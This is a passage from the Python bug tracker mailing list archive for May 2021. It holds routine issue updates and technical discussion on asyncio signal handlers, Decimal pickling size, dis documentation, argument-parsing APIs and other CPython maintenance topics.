beta. Thank you for the report Anthony. Thanks for tracing the root cause and the fix Victor and thank you to everyone who helped debug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 20:37:48 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 22 May 2021 00:37:48 +0000 Subject: [issue31767] Windows Installer fails with error 0x80091007 when trying to install debugging symbols In-Reply-To: <1507756995.05.0.213398074469.issue31767@psf.upfronthosting.co.za> Message-ID: <1621643868.34.0.564022480564.issue31767@roundup.psfhosted.org> Ned Deily added the comment: Any updates on this or can it be closed? ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 22:33:37 2021 From: report at bugs.python.org (Dan Cecile) Date: Sat, 22 May 2021 02:33:37 +0000 Subject: [issue39442] from __future__ import annotations makes dataclasses.Field.type a string, not type In-Reply-To: <1579866520.75.0.652812484582.issue39442@roundup.psfhosted.org> Message-ID: <1621650817.65.0.376823473335.issue39442@roundup.psfhosted.org> Change by Dan Cecile : ---------- nosy: +dcecile _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 23:09:03 2021 From: report at bugs.python.org (Francisco Demartino) Date: Sat, 22 May 2021 03:09:03 +0000 Subject: [issue44212] asyncio overrides signal handlers Message-ID: <1621652943.28.0.466235742077.issue44212@roundup.psfhosted.org> New submission from Francisco Demartino : Hello, It looks like when asyncio sets up a signal handler, it forgets about the previous one (if any). Here's a patch (was about to create a PR but the default text brought me to bugs.python.org) https://github.com/franciscod/cpython/commit/bdac885b86fbb01d0d775f40c47870e48af5fa5b Tracked this down to the initial asyncio checkout, in commit 27b7c7ebf1039e96cac41b6330cf16b5632d9e49, a few commits before v3.4.0a4. Not sure if this is a bug but it surprised me. I would have expected that it registered an "additional" signal handler, or at least that my previously installed signal handler would be called afterwards. Also I'm not sure that it's a good idea to suddenly start running handlers that some current code might rely on not running, or have worked around this behaviour otherwise. Thanks, Francisco ---------- components: asyncio messages: 394174 nosy: Francisco Demartino, asvetlov, yselivanov priority: normal severity: normal status: open title: asyncio overrides signal handlers type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 23:27:12 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 22 May 2021 03:27:12 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621654032.98.0.688135163164.issue44208@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 23:47:45 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 22 May 2021 03:47:45 +0000 Subject: [issue44208] argparse: Accept option without needing to distinguish "-" from "_" in arg_string In-Reply-To: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org> Message-ID: <1621655265.84.0.969545642805.issue44208@roundup.psfhosted.org> Raymond Hettinger added the comment: Ideally, we should keep argparse in line with common practices. AFAICT, treating '-' and '_' the same isn't a norm. Click, for example, doesn't do this. ---------- nosy: +rhettinger versions: -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 00:02:42 2021 From: report at bugs.python.org (Francisco Demartino) Date: Sat, 22 May 2021 04:02:42 +0000 Subject: [issue44212] asyncio overrides signal handlers In-Reply-To: <1621652943.28.0.466235742077.issue44212@roundup.psfhosted.org> Message-ID: <1621656162.45.0.146165424631.issue44212@roundup.psfhosted.org> Francisco Demartino added the comment: Looks like Roger Dahl also noted this on https://bugs.python.org/issue39765: > Second, set_signal_handler()[sic] silently and implicitly removes corresponding handlers set with signal.signal(). [...] I think this should be documented as well. (then has a linked PR that apparently doesn't address this second part) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 00:05:46 2021 From: report at bugs.python.org (Francisco Demartino) Date: Sat, 22 May 2021 04:05:46 +0000 Subject: [issue44212] asyncio overrides signal handlers In-Reply-To: <1621652943.28.0.466235742077.issue44212@roundup.psfhosted.org> Message-ID: <1621656346.84.0.15649729374.issue44212@roundup.psfhosted.org> Change by Francisco Demartino : ---------- keywords: +patch pull_requests: +24904 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26306 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 00:43:30 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sat, 22 May 2021 04:43:30 +0000 Subject: [issue44154] Optimize Fraction pickling In-Reply-To: <1621469018.51.0.202708405417.issue44154@roundup.psfhosted.org> Message-ID: Sergey B Kirpichev added the comment: On Thu, May 20, 2021 at 12:03:38AM +0000, Raymond Hettinger wrote: > Raymond Hettinger added the comment: > You're right that this won't work for decimal because it takes a > string constructor. A fancier reduce might do the trick but it would > involve modifying the C code (no fun) as well as the Python code. Yes, it will be harder. But I think - is possible. E.g. with this trivial patch: $ git diff diff --git a/Lib/_pydecimal.py b/Lib/_pydecimal.py index ff23322ed5..473fb86770 100644 --- a/Lib/_pydecimal.py +++ b/Lib/_pydecimal.py @@ -627,6 +627,9 @@ def __new__(cls, value="0", context=None): self._exp = value[2] self._is_special = True else: + value = list(value) + if isinstance(value[1], int): + value[1] = tuple(map(int, str(value[1]))) # process and validate the digits in value[1] digits = [] for digit in value[1]: @@ -3731,7 +3734,7 @@ def shift(self, other, context=None): # Support for pickling, copy, and deepcopy def __reduce__(self): - return (self.__class__, (str(self),)) + return (self.__class__, ((self._sign, int(self._int), self._exp),)) def __copy__(self): if type(self) is Decimal: Simple test suggests that 2x size difference is possible: >>> import pickle >>> from test.support.import_helper import import_fresh_module >>> P = import_fresh_module('decimal', blocked=['_decimal']) >>> P.getcontext().prec = 1000 >>> d = P.Decimal('101').exp() >>> len(pickle.dumps(d)) 1045 vs >>> len(pickle.dumps(d)) 468 with the above diff. (Some size reduction will be even if we don't convert back and forth the self._int, due to self._exp size. This is a less interesting case, but it's for free! No speed penalty.) > Also, the conversion from decimal to string and back isn't quadratic, > so we don't have the same worries. Yes, for a speed bonus - we need to do something more clever) > Lastly, really large fractions happen naturally as they interoperate, > but oversized decimals are uncommon. For financial calculations this, probably, is true. But perfectly legal usage of this module - to compute mathematical functions with arbitrary-precision (like mpmath does with mpmath.mpf). Let me know if it's worth openning an issue with above improvement. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 00:59:43 2021 From: report at bugs.python.org (glubs9) Date: Sat, 22 May 2021 04:59:43 +0000 Subject: [issue44213] LIST_TO_TUPLE placed below the sentence "all of the following use their opcodes" in dis library documentaiton. Message-ID: <1621659583.31.0.989908134751.issue44213@roundup.psfhosted.org> New submission from glubs9 : in the dis library documentation where it lists all of the instructions in python bytecode, it includes a small sentence about half way dow "all of the following instructions use their arguments". After this sentence there is an instruction specified LIST_TO_TUPLE which does not in fact use its argument. It's a minor mistake but 100% on how it should be fixed so I have not yet made a pr. It could be fixed by removing the sentence or just moving it above the sentence. I'm not sure. ---------- assignee: docs at python components: Documentation messages: 394178 nosy: docs at python, glubs9 priority: normal severity: normal status: open title: LIST_TO_TUPLE placed below the sentence "all of the following use their opcodes" in dis library documentaiton. type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 01:01:53 2021 From: report at bugs.python.org (glubs9) Date: Sat, 22 May 2021 05:01:53 +0000 Subject: [issue44213] LIST_TO_TUPLE placed below the sentence "all of the following use their opcodes" in dis library documentaiton. In-Reply-To: <1621659583.31.0.989908134751.issue44213@roundup.psfhosted.org> Message-ID: <1621659713.16.0.209183097257.issue44213@roundup.psfhosted.org> glubs9 added the comment: actually now that I am going through the documentation a bit more thoroughly this has happened again, dict_merge is placed below the sentence as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 03:24:04 2021 From: report at bugs.python.org (wyz23x2) Date: Sat, 22 May 2021 07:24:04 +0000 Subject: [issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr In-Reply-To: <1620082244.42.0.641033791104.issue44024@roundup.psfhosted.org> Message-ID: <1621668244.78.0.281952092689.issue44024@roundup.psfhosted.org> Change by wyz23x2 : ---------- versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 03:55:02 2021 From: report at bugs.python.org (=?utf-8?b?54uC55S36aOO?=) Date: Sat, 22 May 2021 07:55:02 +0000 Subject: [issue42627] urllib.request.getproxies() misparses Windows registry proxy settings In-Reply-To: <1607804872.9.0.5170746987.issue42627@roundup.psfhosted.org> Message-ID: <1621670102.95.0.750629606555.issue42627@roundup.psfhosted.org> Change by ??? : ---------- keywords: +patch pull_requests: +24906 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26307 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 05:17:30 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 22 May 2021 09:17:30 +0000 Subject: [issue40695] hashlib: OpenSSL hash detection should obey security policy In-Reply-To: <1589962077.62.0.0858651561695.issue40695@roundup.psfhosted.org> Message-ID: <1621675050.98.0.0174807604392.issue40695@roundup.psfhosted.org> Christian Heimes added the comment: No, nothing left to do. Thanks for the ping! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 05:25:15 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 22 May 2021 09:25:15 +0000 Subject: [issue41930] Wrap sqlite3_serialize API in sqlite3 module In-Reply-To: <1601813111.02.0.183059099502.issue41930@roundup.psfhosted.org> Message-ID: <1621675515.43.0.733841296619.issue41930@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI, the pending release log of the upcoming SQLite 3.36.0 now mentions that these API's are enabled by default: https://sqlite.org/releaselog/3_36_0.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 07:06:55 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 May 2021 11:06:55 +0000 Subject: [issue8264] [doc] hasattr doesn't show private (double underscore) attributes exist In-Reply-To: <1269946346.53.0.630682854213.issue8264@psf.upfronthosting.co.za> Message-ID: <1621681615.47.0.511822890454.issue8264@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 11b5045b0ce18fee8cc1023cc516aeb14ebf7bda by Miss Islington (bot) in branch '3.9': bpo-8264: Document hasattr and getattr behavior for private attributes (GH-23513) (GH-26238) https://github.com/python/cpython/commit/11b5045b0ce18fee8cc1023cc516aeb14ebf7bda ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 07:28:39 2021 From: report at bugs.python.org (E. Paine) Date: Sat, 22 May 2021 11:28:39 +0000 Subject: [issue43504] Site linked in docs, effbot.org, down In-Reply-To: <1615849580.97.0.243341860557.issue43504@roundup.psfhosted.org> Message-ID: <1621682919.28.0.0651627977927.issue43504@roundup.psfhosted.org> Change by E. Paine : ---------- keywords: +patch pull_requests: +24907 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26308 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 08:02:59 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 22 May 2021 12:02:59 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621684979.34.0.277915226847.issue30757@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch nosy: +erlendaasland nosy_count: 9.0 -> 10.0 pull_requests: +24908 pull_request: https://github.com/python/cpython/pull/26309 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 08:02:46 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 22 May 2021 12:02:46 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621684966.88.0.859022952739.issue30757@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +berker.peksag versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 08:10:20 2021 From: report at bugs.python.org (Julien Palard) Date: Sat, 22 May 2021 12:10:20 +0000 Subject: [issue43504] Site linked in docs, effbot.org, down In-Reply-To: <1615849580.97.0.243341860557.issue43504@roundup.psfhosted.org> Message-ID: <1621685420.01.0.611710454454.issue43504@roundup.psfhosted.org> Change by Julien Palard : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 09:00:13 2021 From: report at bugs.python.org (Ken Jin) Date: Sat, 22 May 2021 13:00:13 +0000 Subject: [issue8264] [doc] hasattr doesn't show private (double underscore) attributes exist In-Reply-To: <1269946346.53.0.630682854213.issue8264@psf.upfronthosting.co.za> Message-ID: <1621688413.66.0.883373286203.issue8264@roundup.psfhosted.org> Ken Jin added the comment: All the PRs have landed in bugfix branches so I'm closing this issue. Thanks Irit and Ethan! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 09:21:44 2021 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 22 May 2021 13:21:44 +0000 Subject: [issue44207] Add a version number to Python functions In-Reply-To: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org> Message-ID: <1621689704.49.0.893087910697.issue44207@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 09:36:26 2021 From: report at bugs.python.org (Dong-hee Na) Date: Sat, 22 May 2021 13:36:26 +0000 Subject: [issue44203] test__xxsubinterpreters: heap-buffer-overflow in interp_is_running() on AMD64 Arch Linux Asan 3.x In-Reply-To: <1621594117.76.0.160103726928.issue44203@roundup.psfhosted.org> Message-ID: <1621690586.47.0.65591213976.issue44203@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 10:08:24 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Sat, 22 May 2021 14:08:24 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621692504.58.0.0871759382382.issue44137@roundup.psfhosted.org> Nils Kattenbeck added the comment: Thanks for looking into it. Yes I can confirm that `importlib_resources` has the expected behaviour - I did not download Python 3.10 as the code seems to be the same. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 12:41:50 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 May 2021 16:41:50 +0000 Subject: [issue33809] Expose `capture_locals` parameter in `traceback` convenience functions In-Reply-To: <1528473140.44.0.592728768989.issue33809@psf.upfronthosting.co.za> Message-ID: <1621701710.87.0.738876520996.issue33809@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 13:19:34 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 May 2021 17:19:34 +0000 Subject: [issue29757] The loop in utility `socket.create_connection()` swallows previous errors In-Reply-To: <1488984317.87.0.296010902983.issue29757@psf.upfronthosting.co.za> Message-ID: <1621703974.47.0.979218657217.issue29757@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate superseder: -> OSError: multiple exceptions should preserve the exception type if it is common _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 13:22:46 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 22 May 2021 17:22:46 +0000 Subject: [issue44207] Add a version number to Python functions In-Reply-To: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org> Message-ID: <1621704166.42.0.107409430544.issue44207@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- nosy: +BTaskaya _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 13:27:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Sat, 22 May 2021 17:27:48 +0000 Subject: [issue19083] IDNA prefix should be case insensitive In-Reply-To: <1380036051.22.0.99632321977.issue19083@psf.upfronthosting.co.za> Message-ID: <1621704468.89.0.233411512014.issue19083@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 14:53:06 2021 From: report at bugs.python.org (Kyle Stanley) Date: Sat, 22 May 2021 18:53:06 +0000 Subject: [issue37228] UDP sockets created by create_datagram_endpoint() allow by default multiple processes to bind the same port In-Reply-To: <1560245814.37.0.496048869185.issue37228@roundup.psfhosted.org> Message-ID: <1621709586.53.0.503213436216.issue37228@roundup.psfhosted.org> Kyle Stanley added the comment: > Since 3.5 has now reached end-of-life, this issue will not be fixed there so it looks like it can be closed. Thanks, Ned <3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 14:53:33 2021 From: report at bugs.python.org (Kyle Stanley) Date: Sat, 22 May 2021 18:53:33 +0000 Subject: [issue37228] UDP sockets created by create_datagram_endpoint() allow by default multiple processes to bind the same port In-Reply-To: <1560245814.37.0.496048869185.issue37228@roundup.psfhosted.org> Message-ID: <1621709613.55.0.895200024185.issue37228@roundup.psfhosted.org> Kyle Stanley added the comment: > Thanks, Ned <3 (For following up and closing the issue) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 15:06:04 2021 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 May 2021 19:06:04 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621710364.01.0.524420318602.issue44206@roundup.psfhosted.org> STINNER Victor added the comment: > Add a version number to dict keys. Is the version on the key or on the value? Does the version change if a value is changed like d[1]="a"; d[1]="b"? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 15:32:44 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 22 May 2021 19:32:44 +0000 Subject: [issue44112] [buildbot] test_asyncio hangs (killed after 3 hours) on Refleak buildbots In-Reply-To: <1620812434.16.0.332094043399.issue44112@roundup.psfhosted.org> Message-ID: <1621711964.29.0.936861807656.issue44112@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:03:26 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 22 May 2021 22:03:26 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621721006.72.0.172010095879.issue30757@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 10.0 -> 11.0 pull_requests: +24909 pull_request: https://github.com/python/cpython/pull/26311 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:03:31 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 22 May 2021 22:03:31 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621721011.19.0.157983486154.issue30757@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24910 pull_request: https://github.com/python/cpython/pull/26312 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:05:08 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 22 May 2021 22:05:08 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621721108.94.0.198329789596.issue44201@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24911 pull_request: https://github.com/python/cpython/pull/26313 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:06:02 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 22 May 2021 22:06:02 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621721162.29.0.513493069029.issue44201@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:08:46 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 22 May 2021 22:08:46 +0000 Subject: [issue42588] Improvements to graphlib.TopologicalSorter.static_order() documentation In-Reply-To: <1607353990.94.0.818492776719.issue42588@roundup.psfhosted.org> Message-ID: <1621721326.02.0.981165146718.issue42588@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Hi Ran, would you like to submit a pull request with the suggestion? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:09:23 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 22 May 2021 22:09:23 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621721363.61.0.0813743391679.issue30757@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:23:14 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 22 May 2021 22:23:14 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621722194.5.0.546808157492.issue30757@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 099e6a4096382697dda55d58d3a96f68375ea546 by Miss Islington (bot) in branch '3.9': bpo-30757: Improve "How to make stand-alone binaries" FAQ (GH-26309) (GH-26312) https://github.com/python/cpython/commit/099e6a4096382697dda55d58d3a96f68375ea546 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:23:10 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 22 May 2021 22:23:10 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621722190.84.0.0154219286598.issue30757@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 413df57968e4d612f87722bb8454a66357f84839 by Miss Islington (bot) in branch '3.10': bpo-30757: Improve "How to make stand-alone binaries" FAQ (GH-26309) (GH-26311) https://github.com/python/cpython/commit/413df57968e4d612f87722bb8454a66357f84839 ---------- nosy: +pablogsal status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:23:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 22 May 2021 22:23:29 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621722209.79.0.955716431348.issue44201@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 1fb6b9e91d8685f7eca0fc33402589c65723bd94 by Miss Islington (bot) in branch '3.10': bpo-44201: Avoid side effects of "invalid_*" rules in the REPL (GH-26298) (GH-26313) https://github.com/python/cpython/commit/1fb6b9e91d8685f7eca0fc33402589c65723bd94 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 18:23:55 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 22 May 2021 22:23:55 +0000 Subject: [issue30757] pyinstaller can be added to docs, py2exe ref can be updated In-Reply-To: <1498451168.27.0.593036349197.issue30757@psf.upfronthosting.co.za> Message-ID: <1621722235.77.0.198624088994.issue30757@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 22 19:13:27 2021 From: report at bugs.python.org (David Edelsohn) Date: Sat, 22 May 2021 23:13:27 +0000 Subject: [issue40068] test_threading: ThreadJoinOnShutdown.test_reinit_tls_after_fork() crash with Python 3.8 on AIX In-Reply-To: <1585175651.22.0.348763219831.issue40068@roundup.psfhosted.org> Message-ID: <1621725207.68.0.127629174555.issue40068@roundup.psfhosted.org> Change by David Edelsohn : ---------- nosy: +David.Edelsohn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 03:47:11 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 May 2021 07:47:11 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621756031.02.0.29773985595.issue44147@roundup.psfhosted.org> Erlend E. Aasland added the comment: Closing as not-a-bug. Feel free to reopen if we've missed anything. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 03:47:55 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 23 May 2021 07:47:55 +0000 Subject: [issue40068] test_threading: ThreadJoinOnShutdown.test_reinit_tls_after_fork() crash with Python 3.8 on AIX In-Reply-To: <1585175651.22.0.348763219831.issue40068@roundup.psfhosted.org> Message-ID: <1621756075.61.0.288669600603.issue40068@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 04:10:57 2021 From: report at bugs.python.org (Hamza Avvan) Date: Sun, 23 May 2021 08:10:57 +0000 Subject: [issue43223] [security] http.server: Open Redirection if the URL path starts with // In-Reply-To: <1613302956.91.0.878390782912.issue43223@roundup.psfhosted.org> Message-ID: <1621757457.24.0.102162722196.issue43223@roundup.psfhosted.org> Hamza Avvan added the comment: Requested review for the unit test few days ago. Please check. https://github.com/python/cpython/pull/24848 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 06:14:52 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Sun, 23 May 2021 10:14:52 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? Message-ID: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> New submission from Ronald Oussoren : I'm currently converting some extensions of my own to vectorcall and an annoying change between the old call protocol and vectorcall is that the latter has no public equivalent to the PyArg_Parse family of functions. There is "_PyArg_ParseStack*" in the CPython implementation, but those functions are not part of the public API. Please consider making "_PyArg_ParseStack" public. ---------- components: C API messages: 394194 nosy: ronaldoussoren priority: normal severity: normal status: open title: PyArg_Parse* for vectorcall? versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 07:10:32 2021 From: report at bugs.python.org (Ronald Oussoren) Date: Sun, 23 May 2021 11:10:32 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? In-Reply-To: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> Message-ID: <1621768232.58.0.525773889726.issue44214@roundup.psfhosted.org> Change by Ronald Oussoren : ---------- type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 07:17:30 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 23 May 2021 11:17:30 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? In-Reply-To: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> Message-ID: <1621768650.59.0.787199207263.issue44214@roundup.psfhosted.org> Serhiy Storchaka added the comment: There are no problems with exposing _PyArg_ParseStack(). Although I am arguing that it would be better to rename it to _PyArg_ParseArray. But _PyArg_ParseStackAndKeywords() is more complicated. It uses a private structure _PyArg_Parser allocated on the stack. It was not important while it was private, but the layout of _PyArg_Parser cannot be changed after making it a public structure unless we add support for expanding supporting of future versions of the structure from initial. This requires attentive development of future design. Fortunately most of the functions and methods in CPython have already been converted to Argument Clinic, so it's easier now to experiment with designs by making Argument Clinic generating different code. Although this is still an amount of work. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 23 08:18:27 2021 From: report at bugs.python.org (Stefano Rivera) Date: Sun, 23 May 2021 12:18:27 +0000 Subject: [issue44215] help() module listing displays import warnings from deprecated package modules Message-ID: <1621772307.07.0.00812443374733.issue44215@roundup.psfhosted.org> New submission from Stefano Rivera : Originally reported against pypy3 in Ubuntu https://bugs.launchpad.net/ubuntu/+source/pypy3/+bug/1920675 $ ./python Python 3.10.0a5+ (heads/master:ffa55d21b4, May 23 2021, 08:14:50) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> sys.path.append('/usr/lib/python3/dist-packages/') >>> help() ... help> modules Please wait a moment while I gather a list of all available modules... /usr/lib/python3/dist-packages/IPython/kernel/__init__.py:12: ShimWarning: The `IPython.kernel` package has been deprecated since IPython 4.0.You should import from ipykernel or jupyter_client instead. warn("The `IPython.kernel` package has been deprecated since IPython 4.0." Expected Tk Togl installation in /usr/lib/python3/dist-packages/OpenGL/Tk/togl-linux-64 